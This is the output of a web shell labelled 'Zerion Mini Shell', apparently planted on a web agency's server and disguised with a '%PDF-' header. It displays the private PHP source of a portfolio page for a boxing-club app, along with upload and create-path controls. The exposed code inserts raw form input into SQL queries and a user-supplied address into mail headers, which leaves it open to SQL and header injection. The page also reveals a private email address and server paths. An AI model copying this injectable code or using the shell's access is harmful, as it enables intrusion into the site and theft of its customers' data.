%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/eirtvhdf/public_html/service/our-work/
Upload File :
Create Path :
Current File : /home/eirtvhdf/public_html/service/our-work/boxing.php

<!DOCTYPE html>
<html lang="en">
    <?php
    require("../../inc/vars.php");
require("../../database.php");
    
    if(isset($_POST['submit'])){
    $name = $_POST['name'];
    $email = $_POST['email'];
    $contact = $ipdat->geoplugin_countryCode.' ('.$ipdat2.')';
    $phone = $contact .' '. $_POST['phone'];
    $message = $_POST['message'];
    
    $body = "Name: ".$name."\r\n Email: ".$email."\r\n Phone: ".$phone."\r\n Message: ".$message;
    
    $mysqli = mysqli_query($dbh,"insert into quote values('','$name','$email','$phone','$message')");
    
        $to = "fahadansari91@gmail.com";
        $subject = "Message From A LogoDaddy";
        
        $header[] = "From:".$email."\r\n";
        $headers[] = 'MIME-Version: 1.0';
        $headers[] = 'Content-type: text/html; charset=iso-8859-1';
         
         $retval = mail ($to,$subject,$body,$header);
         
         if( $retval == true ) {
             echo "<script> window.onload = function() {
                    myfunction1();
                    }; </script>";
         }
    
}

if(isset($_POST['order'])){
    $name = $_POST['name'];
    $email = $_POST['email'];
    $contact = $ipdat->geoplugin_countryCode.' ('.$ipdat2.')';
    $phone = $contact .' '. $_POST['phone'];
    $services = $_POST['services'];
    session_start();
    $_SESSION['amount'] = $_POST['amount'];
    $_SESSION['package'] = $_POST['package'];
    
   $body = "Name: ".$name."\r\nEmail: ".$email."\r\nPhone: ".$phone."\r\nService: ".$services."\r\nPackage Name: ".$_SESSION['package'];
    
    $mysqli = mysqli_query($dbh,"insert into order_now values('','$name','$email','$phone','$services')");
    
        $to = "fahadansari91@gmail.com";
        $subject = "Order Message From A LogoDaddy";
        
        $header[] = "From:".$email."\r\n";
        $headers[] = 'MIME-Version: 1.0';
        $headers[] = 'Content-type: text/html; charset=iso-8859-1';
         
         $retval = mail ($to,$subject,$body,$header);
         
         if( $retval == true ) {
            echo "<script> window.onload = function() {
                myfunction3();
                }; </script>";
         } 
    
}
    
    ?>
<head>
  <title>EirfoTech > Boxing</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <script src="https://kit.fontawesome.com/a076d05399.js"></script>
  <link rel="icon" href="../../assets/images/favicon.png" type="image/x-icon" />
  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css">
  <!-- <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> -->
  <link rel="stylesheet" href="../../assest/css/main.css">

  <!-- <meta http-equiv="refresh" content="1"> -->
</head>
<body>
<header>
  <nav id="navbar" class="navbar navbar-expand-md navbar-light p-0 dropshadow d-block">
      <!-- Navbar links -->
      <div class="collapse navbar-collapse primary-r-gradient" id="collapsibleNavbar">
        <div class="col">
          <ul class="navbar-nav">
              <li class="nav-item dropdown">
                <div class="nav_buttons row m-0"><a class="nav-link col" href="../mobile_application.php">Mobile Application</a><i class="fa fa-angle-down" aria-hidden="true"></i></div>
                <div class="dropdown-menu dropshadow">
                  <a class="dropdown-item" href="../mobile-application/ios_application.php">iOS Apps</a>
                  <a class="dropdown-item" href="../mobile-application/android_application.php">Android Apps</a>
                  <a class="dropdown-item" href="../mobile-application/react_application.php">React Natve Apps</a>
                  <a class="dropdown-item" href="../mobile-application/hybrid_application.php">Cross Platform Hybrid App</a>
                  <a class="dropdown-item" href="../mobile-application/augmented_reality.php">Augmented Reality</a>
                  <a class="dropdown-item" href="../mobile-application/mobile_games.php">Mobile Games</a>
                  <div class="dropdown-divider"></div>
                </div>
              </li>
              <li class="nav-item dropdown">
                <div class="nav_buttons row m-0"><a class="nav-link col" href="../software_development.php">Software Development &nbsp;</a><i class="fa fa-angle-down" aria-hidden="true"></i></div>
                <div class="dropdown-menu dropshadow">
                  <a class="dropdown-item" href="../software-development/bussiness_automation.php">Business Automation</a>
                  <a class="dropdown-item" href="../software-development/enterprise_portals.php">Enterprise Portals</a>
                  <a class="dropdown-item" href="../software-development/erp.php">ERP</a>
                  <a class="dropdown-item" href="../software-development/workflows.php">Workflows</a>
                  <a class="dropdown-item" href="../software-development/crm.php">Customer Relationship Management</a>
                  <a class="dropdown-item" href="../software-development/ecommerce_solutions.php">Ecommerce Solutions</a>
                  <div class="dropdown-divider"></div>
                </div>
              </li>
              <li class="nav-item dropdown">
                <div class="nav_buttons row m-0"><a class="nav-link col" href="../web&cms_development.php">Web & CMS Development</a><i class="fa fa-angle-down" aria-hidden="true"></i></div>
                <div class="dropdown-menu dropshadow">
                  <a class="dropdown-item" href="../web-cms-development/web_development.php">Web Development</a>
                  <a class="dropdown-item" href="../web-cms-development/custom_development.php">Custom Development</a>
                  <a class="dropdown-item" href="../web-cms-development/single_page_application.php">Single Page Application</a>
                  <a class="dropdown-item" href="../web-cms-development/b2b_b2c_portals.php">B2B & B2C Portals</a>
                  <a class="dropdown-item" href="../web-cms-development/cms.php">CMS Web</a>
                  <a class="dropdown-item" href="../web-cms-development/ecommerce_website.php">Ecommerce Web</a>
                  <div class="dropdown-divider"></div>
                </div>
              </li>
              <li class="nav-item dropdown">
                <div class="nav_buttons row m-0"><a class="nav-link col" href="../corporate_branding.php">Corporate Branding</a><i class="fa fa-angle-down" aria-hidden="true"></i></div>
                <div class="dropdown-menu dropshadow">
                  <a class="dropdown-item" href="../corporate-branding/logo_design.php">Logo Design</a>
                  <a class="dropdown-item" href="../corporate-branding/brand_identity.php">Brand Identity</a>
                  <a class="dropdown-item" href="../corporate-branding/web-design.php">Website Design</a>
                  <a class="dropdown-item" href="../corporate-branding/animation.php">Animated Videos</a>
                  <a class="dropdown-item" href="../corporate-branding/infographics.php">Infographics</a>
                  <a class="dropdown-item" href="../corporate-branding/print_design.php">Print Design</a>
                  <div class="dropdown-divider"></div>
                </div>
              </li>
              <li class="nav-item dropdown">
                <div class="nav_buttons row m-0"><a class="nav-link col" href="../digital_marketing.php">Digital Marketing</a><i class="fa fa-angle-down" aria-hidden="true"></i></div>
                <div class="dropdown-menu dropshadow">
                  <a class="dropdown-item" href="../digital-marketing/reputation_management.php">Reputation Management</a>
                  <a class="dropdown-item" href="../digital-marketing/pay_per_click.php">Pay Per Click</a>
                  <a class="dropdown-item" href="../digital-marketing/seo.php">SEO</a>
                  <a class="dropdown-item" href="../digital-marketing/social_media_marketing.php">Social Media Marketing</a>
                  <a class="dropdown-item" href="../digital-marketing/email_marketing.php">Email Marketing</a>
                  <a class="dropdown-item" href="../digital-marketing/app_marketing.php">App Marketing</a>
                  <div class="dropdown-divider"></div>
                </div>
              </li>
          </ul>
        </div>
        <div class="d-sm-flex align-self-center d-none contact_text mr-3">
          <a href="https://A LogoDaddy.ie/contact.php" class="text-light"> Contact Us</a> &nbsp; <i class="d-lg-block d-none mx-1">|</i><span class="d-none d-lg-block"> &nbsp; <i class="fa fa-phone mt-2"></i>&nbsp;&nbsp;Call Us 087-386-4833</span>
        </div>
      </div>
        <!-- Toggler/collapsibe Button -->
        <div class="m-0 d-flex">
          <button class="navbar-toggler ml-3 my-1 p-1 px-2" type="button" data-toggle="collapse" data-target="#collapsibleNavbar">
            <span class="navbar-toggler-icon"></span>
          </button>
          <!-- Brand -->
          <a class="p-0 pl-3 col" href="../../index.php">
            <img src="../../assest/image/logo.png" class="navbar-brand" alt="">
          </a>
          
           <ul class="navbar-nav second_nav d-md-flex d-none">
        <li class="nav-item">
          <a class="nav-link" href="../mobile-application/ios_application.php">iOS Apps</a>
        </li>
        <li class="nav-item">
          <a class="nav-link" href="../mobile-application/android_application.php">Android Apps</a>
        </li>
        <li class="nav-item">
          <a class="nav-link" href="../mobile-application/react_application.php">React Natve Apps</a>
        </li>
        <li class="nav-item">
          <a class="nav-link" href="../mobile-application/hybrid_application.php">Cross Platform Hybrid App</a>
        </li>
        <li class="nav-item">
          <a class="nav-link" href="../mobile-application/augmented_reality.php">Augmented Reality</a>
        </li>
        <li class="nav-item">
          <a class="nav-link" href="../mobile-application/mobile_games.php">Mobile Games</a>
        </li>
      </ul>
          <div class="p-0 justify-content-end d-flex">
            <button class="primary-r-gradient nav-reqbtn float-right">Request Info</button>
          </div>
        </div>
    </nav>
    <div class="portfolio_banner position-relative mt-md-0 mt-5">
        <img class="d-block w-100" src="../../assest/image/casestudy/Boxing/Boxing-inner-1.jpg" alt="First slide">
        <div style="position: absolute; top: 0; left: 0; bottom: 0; right: 0; background-image: linear-gradient(45deg,rgba(0,0,0,0.9),rgba(0,0,0,0))">
            <div class="portimg my-3">
                <img src="../../assets/images/logos/boxing.png"/>
            </div>
            <div class="container">
                <div class="row m-0 pt-3">
                    <div class="col-12 col-lg-6 col-md-8 porttext">
                        <h1>Functional Hiit Boxingb</h1>
                        <h6>Boxing Training Club</h6>
                        <hr>
                        <p>FHB is a well-known name in the field of boxing clubs and FHB approached us for the development of the mobile app for their members.</p>
                    </div>
                </div>
            </div>
        </div>
    </div>
</header>
<div class="container">
    <div class="row">
        <div class="col-12 position-relative">
            <img class="d-block w-100" style="height: 700px; object-fit: cover; object-position: 10% 50%;" src="../../assest/image/casestudy/Boxing/Boxing-inner-4.jpg" alt=""/>
            <div class="w-100 position-absolute text-light p-3 casetext" style="top: 0; left: 0;">
                <div class="row p-md-5 p-0 m-3">
                    <h1 class="col-12 text-center"><b>Project Overview</b></h1>
                    <p class="col-12 text-center">Functional Hiit Boxing is a well-known name in the field of boxing clubs and FHB approached us for the development of a mobile app for their members.</p>
                    <div class="col-md-6 col-12 py-md-5 py-3 mt-md-4 mt-0">
                        <h2>Comprehensive Information</h2>
                        <h6>The app inculcated complete data about the boxing club, the training, the reservations and any upcoming event along with live video sessions. The wide-ranging app catered to every form of information a member might require.</h6>
                    </div>
                    <div class="col-md-6 col-12"></div>
                </div>
            </div>
        </div>
        <div class="col-12 position-relative">
            <img class="d-block w-100" style="height: 700px; object-fit: cover; object-position: 90% 50%;" src="../../assest/image/casestudy/Boxing/Boxing-inner-2.jpg" alt=""/>
            <div class="w-100 position-absolute text-light p-3 casetext" style="top: 0; left: 0;">
                <div class="row p-md-5 p-0 m-3">
                    <div class="col-md-7 col-12"></div>
                    <div class="col-md-5 col-12 py-md-5 py-3 mt-md-4 mt-0">
                        <h2>Reservation Details</h2>
                        <h6>Every visitor to the app will have the convenience of making a reservation of their classes or live video sessions through the app. The main purpose of the app to deliver the ease of access to every facility and facility is accomplished effectively.</h6>
                    </div>
                </div>
            </div>
        </div>
        <div class="col-12 position-relative">
            <img class="d-block w-100" style="height: 600px; object-fit: cover; object-position: 50% 50%;" src="../../assest/image/casestudy/Boxing/Boxing-inner-3.jpg" alt=""/>
            <div class="w-100 position-absolute text-light p-3 casetext" style="top: 0; left: 0;">
                <div class="row p-md-5 p-0 m-3">
                    <h1 class="col-12 text-center"><b>Modernized App</b></h1>
                    <p class="col-12 text-center">The innovative app expedites every member’s experience with robust interface and convenient usage.</p>
                </div>
            </div>
        </div>
    </div>
</div>

<div style="background-image: linear-gradient(222deg, rgba(0,0,0,1) 0%, rgba(167,0,0,1) 50%, rgba(0,0,0,1) 100%);" class="strip2">
  <div class="container p-4">
    <div class="row justify-content-center">
      <div class="col-lg-4 col-md-4 col-12 mb-md-0 mb-3 panel3 d-flex"><p><span>Take the first step</span> <br>towards the right direction</p></div>
      <div class="col-lg-3 col-md-4 col-12 mb-md-0 mb-3 panel3 d-flex"><button class="text-primary dropshadow">Request Info</button></div>
      <div class="col-lg-4 col-md-4 col-12 mb-md-0 mb-3 panel3 d-flex"><img src="../../assest/image/phone_icon.svg" alt=""><a style="color:white" href="javascript:void(0)" onclick="window.location='tel:0873864833'" class="external"><p><b><u>087-386-4833</u></b></a><br>Call Us Anytime</p></div>
    </div>
  </div>
</div>
<div class="bg-light">
<div class="container company_logo">
  <div class="row p-5">
    <div class="col-12 col-md-6 p-5 text-center align-self-center left_side">
      <h1><b style="color:#4a419e;">Loved</b> & <b style="color:#73226e;">Trusted</b></h1>
      <h2>by the industry leaders</h2>
    </div>
    <div class="col-12 col-md-6 right_side">
      <div class="row justify-content-center custom_row">
        <div class="col-3 p-0 complogo" data-img="../../assets/images/logos/California Department of Insurance Logo.png"></div>
        <div class="col-3 p-0 complogo" data-img="../../assets/images/logos/FIG.png"></div>
        <div class="col-3 p-0 complogo" data-img="../../assets/images/logos/boxing.png"></div>
      </div>
      <div class="row justify-content-center custom_row">
        <div class="col-3 p-0 complogo" data-img="../../assets/images/logos/GG.png"></div>
        <div class="col-3 p-0 complogo" data-img="../../assets/images/logos/JVC.png"></div>
        <div class="col-3 p-0 complogo" data-img="../../assets/images/logos/LG.png"></div>
        <div class="col-3 p-0 complogo" data-img="../../assets/images/logos/Michael_Kors_(brand)_logo.svg.png"></div>
      </div>
      <div class="row justify-content-center custom_row">
        <div class="col-3 p-0 complogo" data-img="../../assets/images/logos/Qatar-Airways.png"></div>
        <div class="col-3 p-0 complogo" data-img="../../assets/images/logos/Suzuki.png"></div>
        <div class="col-3 p-0 complogo" data-img="../../assets/images/logos/Walmart-logo.png"></div>
      </div>
    </div>

  </div>
</div>
</div>

<section class="servicepopup justify-content-center">
<div class="position-absolute h-100 w-100 closebtn"></div>
<div class="strip1 secondary-r-gradient col-lg-4 col-md-6 col-sm-10 col-12 p-0 align-self-center">
  <h2 style="padding:20px;" class="col-12">Let's build <b>something great</b> together!</br><span style="font-size:25px" class="signup"><b>GET 50% OFF SIGNUP NOW!</b></span> <i class="fa fa-times closebtn"></i></h2>
  <div class="container p-4">
    <form method="post" class="form-row justify-content-end align-self-center">
      <div class="form-group col-12">
        <input type="text" name="name" class="form-control my_input" placeholder="Name *" required>
      </div>
      <div class="form-group col-12">
        <input type="email" name="email" class="form-control my_input" placeholder="Email *" required>
      </div>

        <input type="hidden" name="amount" id="get_amount">
        <input type="hidden" name="package" id="get_package">

      <div class="form-group col-12">
        <div class="input-group">
          <select id="" class="custom-select col-3">
                      <option value="" selected><?php echo $ipdat->geoplugin_countryCode.' ('.$ipdat2.')'; ?></option>
                      <option data-countryCode="DZ" value="DZ (+213)">DZ (+213)</option>

                		<option data-countryCode="AR" value="AR (+54)">AR (+54)</option>
                	
                		<option data-countryCode="AU" value="AU (+61)">AU (+61)</option>
                		<option data-countryCode="AT" value="AT (+43)">AT (+43)</option>
                		<option data-countryCode="AZ" value="AZ (+994)">AZ (+994)</option>
                	
                		<option data-countryCode="BD" value="BD (+880)">BD (+880)</option>
                		
                		<option data-countryCode="BE" value="BE (+32)">BE (+32)</option>
                		
                		<option data-countryCode="BR" value="BR (+55)">BR (+55)</option>
                		
                		<option data-countryCode="CA" value="CA (+1)">CA (+1)</option>
                	
                		<option data-countryCode="CN" value="CN (+86)">CN (+86)</option>
                	
                		<option data-countryCode="EG" value="EG (+20)">EG (+20)</option>
                	
                		<option data-countryCode="FJ" value="FJ (+679)">FJ (+679)</option>
                		<option data-countryCode="FI" value="FI (+358)">FI (+358)</option>
                		<option data-countryCode="FR" value="FR (+33)">FR (+33)</option>
                		
                		<option data-countryCode="DE" value="DE (+49)">DE (+49)</option>
                		
                		<option data-countryCode="GR" value="GR (+30)">GR (+30)</option>
                		<option data-countryCode="GL" value="GL (+299)">GL (+299)</option>
                	
                		<option data-countryCode="HK" value="HK (+852)">HK (+852)</option>
                		<option data-countryCode="PK" value="PK (+92)">PK (+92)</option>
                		
                		<option data-countryCode="IS" value="IS (+354)">IS (+354)</option>
                		<option data-countryCode="IN" value="IN (+91)">IN (+91)</option>
                		<option data-countryCode="ID" value="ID (+62)">ID (+62)</option>
                		<option data-countryCode="IR" value="IR (+98)">IR (+98)</option>
                		<option data-countryCode="IQ" value="IQ (+964)">IQ (+964)</option>
                		<option data-countryCode="IE" value="IE (+353)">IE (+353)</option>
                		
                		<option data-countryCode="JP" value="JP (+81)">JP (+81)</option>
                	
                		<option data-countryCode="KW" value="KW (+965)">KW (+965)</option>
                	
                		<option data-countryCode="MY" value="MY (+60)">MY (+60)</option>
                		<option data-countryCode="MV" value="MV (+960)">MV (+960)</option>
                		
                		<option data-countryCode="MX" value="MX (+52)">MX (+52)</option>
                	
                		<option data-countryCode="NP" value="NP (+977)">NP (+977)</option>
                		<option data-countryCode="NL" value="NL (+31)">NL (+31)</option>
                		
                		<option data-countryCode="NG" value="NG (+234)">NG (+234)</option>
                		
                		<option data-countryCode="NO" value="NO (+47)">NO (+47)</option>
                		<option data-countryCode="OM" value="OM (+968)">OM (+968)</option>
                	
                		<option data-countryCode="PL" value="PL (+48)">PL (+48)</option>
                		<option data-countryCode="PT" value="PT (+351)">PT (+351)</option>
                		
                		<option data-countryCode="QA" value="QA (+974)">QA (+974)</option>
                	
                		<option data-countryCode="RU" value="RU (+7)">RU (+7)</option>
                	
                		<option data-countryCode="SA" value="SA (+966)">SA (+966)</option>
                	
                		<option data-countryCode="SG" value="SG (+65)">SG (+65)</option>
                	
                		<option data-countryCode="ZA" value="ZA (+27)">ZA (+27)</option>
                		<option data-countryCode="ES" value="ES (+34)">ES (+34)</option>
                		<option data-countryCode="LK" value="LK (+94)">LK (+94)</option>
                	
                		<option data-countryCode="SE" value="SE (+46)">SE (+46)</option>
                		<option data-countryCode="CH" value="CH (+41)">CH (+41)</option>
                	
                		<option data-countryCode="TH" value="TH (+66)">TH (+66)</option>
                		
                		<option data-countryCode="TR" value="TR (+90)">TR (+90)</option>
                	
                		<option data-countryCode="AE" value="AE (+971)">AE (+971)</option>
                		
                		 <option data-countryCode="US" value="US (+1)">US (+1)</option>
                
                	
                		<option data-countryCode="ZW" value="ZW (+263)">ZW (+263)</option>
                    </select>
          <input type="number" name="phone" class="form-control my_input col-9" placeholder="Phone Number" required>
        </div>
      </div>
      <div class="form-group col-12">
        <select name="services" id="" class="custom-select my_input" placeholder="Select Secvices *" required>
          <option selected>Select Services *</option>
              <option>Custom Logo Design</option>
              <option>Web & CMS Development</option>
              <option>Custom Stationary Design</option>
        </select>
      </div>
      <div class="form-group my_input">
        <button type="submit" name="order" class="form-control text-primary">Submit</button>
      </div>
    </form>
  </div>
</div>
</section>

<!-- Central Modal Medium Info -->
 <div class="modal fade" id="myModal1" tabindex="-1" role="dialog" aria-labelledby="myModalLabel"
   aria-hidden="true">
   <div class="modal-dialog modal-notify modal-info" role="document">
     <!--Content-->
     <div class="modal-content">
       <!--Header-->

       <!--Body-->
       <div class="modal-body">
         <div class="text-center">
           <i style="color:#24bdc9;" class="fa fa-check fa-4x mb-3 animated rotateIn"></i>
           <p>THANK YOU!</br>Your Message has been Successfully Sent</p>
         </div>
       </div>

       <!--Footer-->
     </div>
     <!--/.Content-->
   </div>
 </div>
 <!-- Central Modal Medium Info-->
 
  <div class="modal fade" id="myModal4" tabindex="-1" role="dialog" aria-labelledby="myModalLabel"
   aria-hidden="true">
   <div class="modal-dialog modal-notify modal-info" role="document">
     <!--Content-->
     <div class="modal-content">
       <!--Header-->

       <!--Body-->
       <div class="modal-body">
         <div class="text-center">
           <i style="color:#24bdc9;" class="fa fa-check fa-4x mb-3 animated rotateIn"></i>
           <p>Thanks! Your order confirmed..!</p>
           <form action="<?php echo $serverName; ?>stripe/checkout.php" method="POST" class="payForm">
                <script
                        defer src="https://checkout.stripe.com/checkout.js" class="stripe-button"
                        data-key="<?php echo $datakey; ?>"
                        data-amount="<?php echo $_SESSION['amount'].'00'; ?>"
                        data-currency="usd"
                        data-name="<?php echo $dataname; ?>"
                        data-description="<?php echo $_SESSION['package']; ?>"
                        data-image="<?php echo $dataimage; ?>"
                        data-locale="auto"
                        data-zip-code="true">
                </script>
                <center>   <button id="btnClosePopup" type="submit" class="btn btn-primary d-block px-3 py-3">Pay with Stripe</button> </center>
            </form> 
            
         </div>
       </div>

       <!--Footer-->
     </div>
     <!--/.Content-->
   </div>
 </div>
 <!-- Central Modal Medium Info-->


<?php require("../../inc/footer2.php"); ?>
  <section class="req_form justify-content-center">
  <div class="position-absolute h-100 w-100 closebtn"></div>
  <div class="strip1 secondary-r-gradient col-lg-4 col-md-6 col-sm-10 col-12 p-0 align-self-center">
    <h2 class="col-12">Let's build <b>something great</b> together! <i class="fa fa-times closebtn"></i></h2>
    <div class="container p-4">
      <form action="" class="form-row justify-content-end align-self-center">
        <div class="form-group col-12">
          <input type="text" class="form-control my_input" placeholder="Name *" required>
        </div>
        <div class="form-group col-12">
          <input type="email" class="form-control my_input" placeholder="Email *" required>
        </div>
        <div class="form-group col-12">
          <div class="input-group">
            <select name="" id="" class="custom-select col-3">
              <option value="" selected>PK +92</option>
              <option value="">1</option>
              <option value="">2</option>
              <option value="">3</option>
            </select>
            <input type="number" class="form-control my_input col-9" placeholder="Phone Number" required>
          </div>
        </div>
        <div class="form-group col-12">
          <select name="" id="" class="custom-select my_input" placeholder="Select Secvices *" required>
            <option value="" selected>Select Secvices *</option>
            <option value="">1</option>
            <option value="">2</option>
            <option value="">3</option>
          </select>
        </div>
        <div class="form-group my_input">
          <button type="submit" class="form-control text-primary">Submit</button>
        </div>
      </form>
    </div>
  </div>
  </section>

<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js"></script>

<script src="../../assest/javascript/main.js"></script>

<script>

    $(function () {
        $("#btnClosePopup").click(function () {
            $("#myModal4").modal("hide");
        });
    });



function myfunction1(){

        $("#myModal1").modal('show');

}

function myfunction2(){

        $("#myModal2").modal('show');

}

function myfunction3(){

        $("#myModal4").modal('show');

}

function empty(){

        $("#myModal3").modal('show');

}
</script>
</body>
</html>

Zerion Mini Shell 1.0